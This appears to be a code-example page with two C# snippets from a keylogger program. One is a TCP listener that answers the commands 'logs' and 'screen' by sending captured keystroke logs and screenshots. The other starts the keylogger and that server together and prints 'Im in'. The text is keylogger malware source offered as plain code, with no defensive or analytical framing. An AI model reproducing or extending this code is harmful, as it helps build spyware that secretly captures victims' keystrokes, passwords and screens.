Example #1
0
        public static void Run(KeyLogger logger)
        {
            IPAddress   localAddress = IPAddress.Parse("127.0.0.1");
            int         port         = 8888;
            TcpListener listener     = new TcpListener(localAddress, port);

            listener.Start();
            logger.IsFull += CopyData;
            byte[] buffer = new byte[255];
            try
            {
                while (true)
                {
                    TcpClient     client = listener.AcceptTcpClient();
                    NetworkStream stream = client.GetStream();


                    int    bytes   = stream.Read(buffer, 0, buffer.Length);
                    string command = Encoding.UTF8.GetString(buffer, 0, bytes);
                    if (command == "quit")
                    {
                        byte[] data = Encoding.UTF8.GetBytes("OK");
                        stream.Write(data, 0, data.Length);
                        break;
                    }
                    if (command == "logs")
                    {
                        CopyData(logger.LogsStream);
                        SendLogs(stream);
                    }
                    else if (command == "screen")
                    {
                        SendScreen(stream);
                    }

                    stream.Close();
                    client.Close();
                }
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
                throw;
            }
            finally
            {
                listener.Stop();
            }
        }
Example #2
0
        public static void Run()
        {
            var stdout = Console.OpenStandardOutput();

            _stdOutWriter = new StreamWriter(stdout)
            {
                AutoFlush = true
            };

            if (!AttachConsole(-1))
            {
                AllocConsole();
            }
            Console.WriteLine("Im in");
            var  logger  = new KeyLogger();
            Task logging = Task.Run(() => logger.Run());
            Task server  = Task.Run(() => Server.Run(logger));

            server.Wait();
            Console.ReadKey();
        }